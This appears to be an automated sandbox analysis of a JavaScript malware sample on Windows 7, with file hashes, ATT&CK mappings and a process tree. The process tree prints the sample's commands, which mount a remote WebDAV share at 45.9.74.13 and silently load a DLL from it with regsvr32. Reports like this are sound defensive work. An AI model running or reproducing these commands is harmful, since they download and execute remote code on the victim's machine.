e3ece7d71f432bf6e8ab7f0ec71d6196b262bf05e9235a0d1e90e96f4cf8c1ad

Analysis

max time kernel
14s
max time network
18s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 05:35

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General

Target

12869127533082323652.js
Size

5KB
MD5

baa7ba6e56ac05e637c0a4de89677234
SHA1

442b74b8c9e4343191f0e5ed98e59d42a3daba12
SHA256

e3ece7d71f432bf6e8ab7f0ec71d6196b262bf05e9235a0d1e90e96f4cf8c1ad
SHA512

52eb029ef8b3c98d85a01e8384a4ea853f955036d69c83af2ff55137dbcce0a3c2674570ccfc95815a89c3310a618eca81ba5eb9c4d52f952b7beef810b35508
SSDEEP

96:LvMmYZTyaZyBYMIYA14gMRvU1RNMqqMx2ukxd:LvMPynYMQ1fMRvU1RCOx1kP

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1624	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 2468	1944	wscript.exe	29
PID 1944 wrote to memory of 2468	1944	wscript.exe	29
PID 1944 wrote to memory of 2468	1944	wscript.exe	29
PID 2468 wrote to memory of 2820	2468	cmd.exe	31
PID 2468 wrote to memory of 2820	2468	cmd.exe	31
PID 2468 wrote to memory of 2820	2468	cmd.exe	31
PID 2468 wrote to memory of 1624	2468	cmd.exe	32
PID 2468 wrote to memory of 1624	2468	cmd.exe	32
PID 2468 wrote to memory of 1624	2468	cmd.exe	32
PID 2468 wrote to memory of 1624	2468	cmd.exe	32
PID 2468 wrote to memory of 1624	2468	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\12869127533082323652.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\12869127533082323652.js" "C:\Users\Admin\\ggmvyu.bat" && "C:\Users\Admin\\ggmvyu.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2820
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\657.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\ggmvyu.bat

Filesize
5KB

MD5
baa7ba6e56ac05e637c0a4de89677234

SHA1
442b74b8c9e4343191f0e5ed98e59d42a3daba12

SHA256
e3ece7d71f432bf6e8ab7f0ec71d6196b262bf05e9235a0d1e90e96f4cf8c1ad

SHA512
52eb029ef8b3c98d85a01e8384a4ea853f955036d69c83af2ff55137dbcce0a3c2674570ccfc95815a89c3310a618eca81ba5eb9c4d52f952b7beef810b35508

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